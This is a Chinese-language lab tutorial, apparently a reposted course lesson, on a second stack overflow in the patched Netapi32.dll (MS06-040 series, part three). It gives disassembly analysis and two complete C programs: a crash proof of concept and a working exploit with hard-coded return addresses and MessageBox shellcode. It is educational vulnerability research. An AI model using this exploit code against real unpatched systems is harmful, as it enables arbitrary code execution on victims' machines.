课程简介

经过前两次的分析,我们已经对Netapi32.dll文件中所包含的漏洞成功地实现了利用。在系统未打补丁之前,这确实是一个非常严重的漏洞,那么打了补丁之后,这个动态链接库是不是就安全了呢?答案是否定的。即便是打了补丁,虽说我们之前所分析的漏洞已被补上,但是这个程序中依旧存在着其它的问题。
课程介绍
  • 实验环境:
  • 操作机: Windows XP
  • 实验工具:
Tools
Path
IDA Pro
C:\Tools\Ida61
OllyICE
C:\Tools\OllyICE
  • 实验文件:
  • poc(framework)
编写代码,并将ShellCode植入,实现漏洞的利用。
实验步骤
第一步 下载实验文件
请访问http://tools.ichunqiu.com/896b2dcb下载实验文件。
小i提示:
  • 在本次实验中,请注意实验工具、实验文件存放路径,不同的文件路径可能会出现不一样的实
验结果。
  • 在实验环境中无法连接互联网,请使用您本地的网络环境。
快速查找实验工具
  • 打开桌面 Everything 搜索工具,输入实验工具名称,右击选择“打开路径”,跳转实验工
具所在位置。
  • 以查找BURP为例为大家演示。
第二步 对漏洞函数进行静态分析
我们之前所研究的Netapi32.dll的大小为309,008 字节,补丁后的文件大小为309,760 字节。我
们用IDA Pro载入打过补丁后的DLL文件,找到之前出现问题的函数位置进行分析:
补丁前的程序之所以会出现问题,就是因为程序并未对第二个参数的长度做出足够的限定。补
丁前的程序在以宽字符的形式计算出第二个参数的长度之后,是与0x411进行比较的,也就是说,
只要第二个参数的长度不大于0x822个字节就可以。但是在补丁后的程序中,如上图所示,在位于
0x71BA42BC中的比较语句,是将第二个参数(Source)与0x207相比较,也就是说,此时第二个
参数的大小不能够超过0x414个字节,而栈空间分配的就是0x414个字节,因此不会出现溢出的
情况。所以如果想实现漏洞的利用,还需要进一步深入挖掘才可以。对此,我们可以从这个函数
最开始的部分进行分析:
程序在分配了0x414字节的空间之后,利用异或运算将esi中的内容清空,然后将[ebp
+arg_0]与esi也就是0进行比较,其实这也就是在判定,指向第一个字符串的指针是否为空。如果
为空,那么接下来的条件跳转不成立,程序就会来到0x71BA42AE的位置执行。如果指向第一个字
符串的指针不为空,但是指向的却是空的字符串,见下图:
这里对第一个字符串的长度进行测定,如果字符串内容为空,也就是长度为0,那么接下来的跳转
成立,程序会直接来到0x71BA42B5的位置执行:
程序在这里会将未初始化的缓冲区以及第二个参数(Source)利用wcscat函数进行连接。其实
这是一个非常不安全的操作,因为尚未初始化的栈空间的长度是未知的,甚至可能超过起初分配
的0x414个字节,然后再与参数二进行连接,就会有缓冲区溢出的隐患。 这里有一个问题需要说明的是,为什么第一个参数指向的字符串拷贝到缓冲区就不会有这个问题
,而第二个参数复制进缓冲区就会有隐患呢?这是因为第一个参数字符串使用的是“wcscpy”
进行拷贝的,它会将字符串从缓冲区的起始位置进行拷贝。而第二个参数使用的是wcscat,它会
检查缓冲区中的“\0”也就是字符串的尾部位置,然后将新的字符串拷贝到“\0”的位置,最后
再加上“\0”作为结尾。 那么现在的问题就是应该如何控制缓冲区的内容和大小。一个简单的做法就是连续调用两次
CanonicalizePathName()函数。当第一次调用该函数时,缓冲区第一次被填充并进行字符串连
接的操作,当第一次调用结束的时候,恢复栈帧,释放缓冲区空间,此时只要不做任何的`栈空间
操作`(比如函数调用),那么原始缓冲区中的内容是不会改变的。而第二次调用时,还会继续对
这块缓冲区进行操作,那么此时就会还保留有第一次调用时的数据,于是就存在着溢出的风险
。 函数CanonicalizePathName()是不能够被直接调用的,因为它是NetpwPathCanonicalize()的子
函数。所以这里可以回到NetpwPathCanonicalize()中来看一下二者之间的调用方式:
由上图可见,当CanonicalizePathName()调用完毕后,程序会对其返回值(保存在eax中)进
行判断,也就是与edi相比较,而edi在这里是恒为0的,那么这里也就是在验证其返回值是否为
0。如果不为0,那么就会跳到0x71BA4284处执行,也就是函数退出的位置。如果为0,那么接下
来还会有其它的函数调用。刚才说了,只要没有其它的函数调用,那么缓冲区的内容就不会被更
改,也就是说,我们这里希望CanonicalizePathName()的返回值不为0,让程序接下来直接退
出,以保证缓冲区中的内容不被更改。那么该如何让它的返回值不为0呢,我们可以看一下该函数
最后一部分的反汇编代码:
在上图中,位于0x71BA431E处的wcslen用于计算合并后的路径字符串的长度,注意这个长度是
Unicode的,因此下面的eax+eax+2实际上也就是在计算合并后的字符串一共有多少个字节,这
里加上2是因为还需加上末尾的两个空字节。接下来利用比较语句,将字节长度与arg_C相比较
。注意这里的arg_C是用于保存连接后的字符串的缓冲区空间的大小。如果相比较的结果是缓冲区
空间大,那么就会执行左边的流程,进行字符串的拷贝操作,并将eax置零后返回。如果缓冲区
的空间小,那么执行右边的流程,于是eax的值就不为0了。依据这一点,我们在第一次调用的时
候,可以将缓冲区空间的大小,也就是arg_C的值设置小一点,就能够让它返回非零值了。
第三步 漏洞利用程序的编写
依据上面的分析,就可以进行漏洞利用程序框架的编写:
#include <windows.h>
 
typedef void (*MYPROC)(LPTSTR,...);
 
#define StrCat_SIZE_1 0x184
#define StrCat_SIZE_2 0x2C0
#define lpWideCharStr_SIZE 0x440
#define StrCpy_SIZE 0x410
 
int main()
{
char Source_1[StrCat_SIZE_1];
char Source_2[StrCat_SIZE_2];
char lpWideCharStr[lpWideCharStr_SIZE];
int arg_8 = lpWideCharStr_SIZE;
char arg_C_1[StrCpy_SIZE];
char arg_C_2[StrCpy_SIZE];
long arg_10_1 = 44;
long arg_10_2 = 44;
 
HINSTANCE LibHandle;
MYPROC Func;
char DllName[] = "./netapi32.dll";
char FuncName[] = "NetpwPathCanonicalize";
// 将当前目录中的netapi32.dll载入内存
LibHandle = LoadLibrary(DllName);
if (LibHandle == 0)
{
MessageBox(0, "Can't Load DLL!", "Warning", 0);
return 0;
}
// 获取NetpwPathCanonicalize()函数的地址
Func = (MYPROC)GetProcAddress(LibHandle, FuncName);
if(Func == 0)
{
MessageBox(0, "Can't Load Function!", "Warning", 0);
FreeLibrary(LibHandle);
return 0;
}
// 用字符a填充第一次函数调用时,wcscat连接的内容
memset(Source_1, 0, sizeof(Source_1));
memset(Source_1, 'a', sizeof(Source_1)-2);
// 用字符b填充第二次函数调用时,wcscat连接的内容
memset(Source_2, 0, sizeof(Source_2));
memset(Source_2, 'b', sizeof(Source_2)-2);
// 用0填充两次函数调用中,wcscpy复制的内容
memset(arg_C_1, 0, sizeof(arg_C_1));
memset(arg_C_2, 0, sizeof(arg_C_2));
// 连续调用两次NetpwPathCanonicalize()函数
(Func)(Source_1, lpWideCharStr, 1 , arg_C_1, &arg_10_1, 0);
(Func)(Source_2, lpWideCharStr, arg_8, arg_C_2, &arg_10_2, 0);
 
FreeLibrary(LibHandle);
return 0;
}
需要将netapi32.dll与上述工程文件放置在同一目录,编译生成Release版,运行,系统会提
示出错:
可见这里出现了缓冲区溢出的错误,溢出地址为0x62626262,也就是小写字母“b”。那么我
们只要让这个返回地址跳转到我们所编写的ShellCode的位置就可以了。由于当函数返回时,ecx
不会指向栈顶空间,因此我们这次就不能够使用call ecx了。所以这里我打算将ebp的值覆盖为`
栈顶地址`,然后将返回地址覆盖为jmp ebp,再将ShellCode植入栈顶,从而实现漏洞的利用:
#include <windows.h>
 
typedef void (*MYPROC)(LPTSTR,...);
 
#define StrCat_SIZE_1 0x184
#define StrCat_SIZE_2 0x2C0
#define lpWideCharStr_SIZE 0x440
#define StrCpy_SIZE 0x410
 
char ShellCode[] =
"\x90\x90\x90"
"\x33\xDB" // xor ebx,ebx
"\xB7\x06"
 
// mov bh,6
"\x2B\xE3"
 
// sub esp,ebx
"\x33\xDB" // xor ebx,ebx
"\x53" // push ebx
"\x68\x69\x6E\x67\x20"
"\x68\x57\x61\x72\x6E" // push "Warning"
"\x8B\xC4" // mov eax,esp
"\x53" // push ebx
"\x68\x2E\x29\x20\x20"
"\x68\x20\x4A\x2E\x59"
"\x68\x21\x28\x62\x79"
"\x68\x63\x6B\x65\x64"
"\x68\x6E\x20\x68\x61"
"\x68\x20\x62\x65\x65"
"\x68\x68\x61\x76\x65"
"\x68\x59\x6F\x75\x20" // push "You have been
 
hacked!(by J.Y.)"
"\x8B\xCC" // mov ecx,esp
"\x53" // push ebx
"\x50" // push eax
"\x51" // push ecx
"\x53" // push ebx
"\xB8\xea\x07\xd5\x77"
"\xFF\xD0" // call MessageBox
"\x53"
"\xB8\xFA\xCA\x81\x7C"
"\xFF\xD0" ; // call ExitProcess
 
int main()
{
char Source_1[StrCat_SIZE_1];
char Source_2[StrCat_SIZE_2];
char lpWideCharStr[lpWideCharStr_SIZE];
int arg_8 = lpWideCharStr_SIZE;
char arg_C_1[StrCpy_SIZE];
char arg_C_2[StrCpy_SIZE];
long arg_10_1 = 44;
long arg_10_2 = 44;
 
HINSTANCE LibHandle;
MYPROC Func;
char DllName[] = "./netapi32.dll";
char FuncName[] = "NetpwPathCanonicalize";
// 将当前目录中的netapi32.dll载入内存
LibHandle = LoadLibrary(DllName);
if (LibHandle == 0)
{
MessageBox(0, "Can't Load DLL!", "Warning", 0);
return 0;
}
// 获取NetpwPathCanonicalize()函数的地址
Func = (MYPROC)GetProcAddress(LibHandle, FuncName);
if(Func == 0)
{
MessageBox(0, "Can't Load Function!", "Warning", 0);
FreeLibrary(LibHandle);
return 0;
}
// 用字符a填充第一次函数调用时,wcscat连接的内容
memset(Source_1, 0, sizeof(Source_1));
memset(Source_1, 'a', sizeof(Source_1)-2);
// 将ShellCode拷贝到缓冲区中
memcpy(Source_1, ShellCode, sizeof(ShellCode));
// 将ShellCode后面的0x00填充为0x90
Source_1[sizeof(ShellCode)-1] = 0x90;
// 用字符b填充第二次函数调用时,wcscat连接的内容
memset(Source_2, 0, sizeof(Source_2));
memset(Source_2, 'b', sizeof(Source_2)-2);
// 将ebp覆盖为栈顶地址
Source_2[0x2AA] = 0x44;
Source_2[0x2AB] = 0xea;
Source_2[0x2AC] = 0x12;
Source_2[0x2AD] = 0x00;
// 将返回地址覆盖为jmp ebp
Source_2[0x2AE] = 0x98;
Source_2[0x2AF] = 0xd4;
Source_2[0x2B0] = 0xbb;
Source_2[0x2B1] = 0x71;
// 用0填充两次函数调用中,wcscpy复制的内容
memset(arg_C_1, 0, sizeof(arg_C_1));
memset(arg_C_2, 0, sizeof(arg_C_2));
// 连续调用两次NetpwPathCanonicalize()函数
(Func)(Source_1, lpWideCharStr, 1 , arg_C_1, &arg_10_1, 0);
(Func)(Source_2, lpWideCharStr, arg_8, arg_C_2, &arg_10_2, 0);
 
FreeLibrary(LibHandle);
return 0;
}
当然我相信大家经过自己的研究,会有更加优秀的漏洞利用方式,也希望我的代码能够起到抛砖
引玉的效果。
第四步 小结
至此,我已经利用了三次课程的篇幅比较全面地分析了MS06-040这个漏洞,也希望大家能够以此
为起点,多多尝试与交流,成为漏洞挖掘方面的专家。
 

MS06-040漏洞研究(下)【转载】的更多相关文章

  1. Winamp栈溢出漏洞研究【转载】

    课程简介 Winamp是一款非常经典的音乐播放软件,它于上世纪九十年代后期问世.与现在音乐播放软件行业百家争鸣的情况不同,当时可以说Winamp就是听音乐的唯一选择了,相信那个时代的电脑玩家是深有体会 ...

  2. fastjson反序列化漏洞研究(下)

    之前的文章显示字符太多 拒绝显示  只好分为两篇了 这样我们只需要找到可以利用的类,构造poc链就好了,这个和以前的java反序列化漏洞类似,先不说.网上最早的poc是使用com.sun.org.ap ...

  3. MS17-010 漏洞研究——免考课题 20155104 赵文昊

    免考实验与研究--MS17-010漏洞研究 研究内容 ·MS17-010漏洞的来源 ·MS17-010漏洞的攻击实例 ·MS17-010漏洞原理分析 ·MS17-010代码分析 写在前面:这次对一个漏 ...

  4. 学习和研究下unity3d的四元数 Quaternion

    学习和研究下unity3d的四元数 Quaternion 今天准备学习和研究下unity3d的四元数 Quaternion 四元数在电脑图形学中用于表示物体的旋转,在unity中由x,y,z,w 表示 ...

  5. k.tt 研究下生成的逻辑代码:从壹开始前后端分离 [.netCore 填坑 ] 三十二║ 四种方法快速实现项目的半自动化搭建

    更新 1.更新小伙伴 @大龄Giser 提出好点子:试试VS的插件扩展:VSIX.ItemProject等,将T4模板给制作插件,这里先记下,有懂的小伙伴可以自己先试试,我会在以后更新. 2.感谢小伙 ...

  6. 研究下JavaScript中的Rest參数和參数默认值

    研究下JavaScript中的Rest參数和參数默认值 本文将讨论使 JavaScript 函数更有表现力的两个特性:Rest 參数和參数默认值. Rest 參数 通常,我们须要创建一个可变參数的函数 ...

  7. MS06-040漏洞研究(上)【转载】

    课程简介 我在之前的课程中讨论过W32Dasm这款软件中的漏洞分析与利用的方法,由于使用该软件的人群毕竟是小众群体,因此该漏洞的危害相对来说还是比较小的.但是如果漏洞出现在Windows系统中,那么情 ...

  8. MS06-040漏洞研究(中)【转载】

    课程简介 经过上次的分析,我们已经知道了MS06-040漏洞的本质,那么这次我们就通过编程实现漏洞的利用. 课程介绍 实验环境: 操作机: Windows XP 实验工具: Tools Path ID ...

  9. Fastjson反序列化漏洞研究

    0x01 Brief Description java处理JSON数据有三个比较流行的类库,gson(google维护).jackson.以及今天的主角fastjson,fastjson是阿里巴巴一个 ...

随机推荐

  1. ant-design-vue中table自定义列

    1. 使用背景 在项目中使用ant-vue的a-table控件过程中,需要显示序号列或者在列中显示图片,超链,按钮等UI信息.经过查询文档customCell和customRender可以实现以上需求 ...

  2. windows跳转端口

    //将客户机端口内网33306转发到外网,在通过本地连接ssh -L 3306:10.0.0.208:3306 ttx@180.180.180.182--通过git bash执行命令--10.0.0. ...

  3. redis过期key监听事件

    目录 redis安装 docker拉取 启动 redis 配置 命令监听 问题 程序监听 具体监听类 效果 总结 redis常用语缓存操作,但是redis功能不仅仅于此.今天我们来看看redis的ke ...

  4. FreeBSD 12.2 vmware 虚拟机镜像 bt 种子

    安装了 KDE5 火狐浏览器 Fcitx 输入法 并进行了中文设置 替换软件源为国内可用. VirtualBox虚拟机也可以用  magnet:?xt=urn:btih:E88885631B57426 ...

  5. css实现0.5像素的底边框。

    由于设计图的1px在移动端开发中的像素比是2倍,在实际开发中却是需要1px的线条,虽然最直接的方式是将线条设置为0.5px,但有些移动端对于0.5px的解析为0,变成了无边框的显示.因此处理该需求我们 ...

  6. Go语言中利用append巧妙的删除slice切片中的元素

    package main import ( "fmt" ) //删除函数 func remove(s []string, i int) []string { return appe ...

  7. 史上超强拷贝仓——GitHub 热点速览 v.21.11

    作者:HelloGitHub-小鱼干 Clone-Wars 是真的强,能细数 70+ 知名应用网站的源码,即便你不看代码,也可以了解下各大网站的所用技术栈.同样很强的是用 OpenCV 实现的图片转 ...

  8. [源码分析] 消息队列 Kombu 之 mailbox

    [源码分析] 消息队列 Kombu 之 mailbox 0x00 摘要 本系列我们介绍消息队列 Kombu.Kombu 的定位是一个兼容 AMQP 协议的消息队列抽象.通过本文,大家可以了解 Komb ...

  9. mysql数据库忘记密码时如何修改密码

    方法/步骤  1.进入 mysql 的 bin 目录下,打开 cmd ,在此之前关闭mysql服务,并且结束mysqld.exe进程                                  ...

  10. FFmpeg API的简单实践应用

    0. 前言 利用 FFmpeg 编译链接生成的可执行程序本身可以实现很多特定的功能,但如果我们有自己的个性化需求,想要在自己开发的项目中使用 ffmpeg 的一些功能,就需要理解并应用其已经实现好的A ...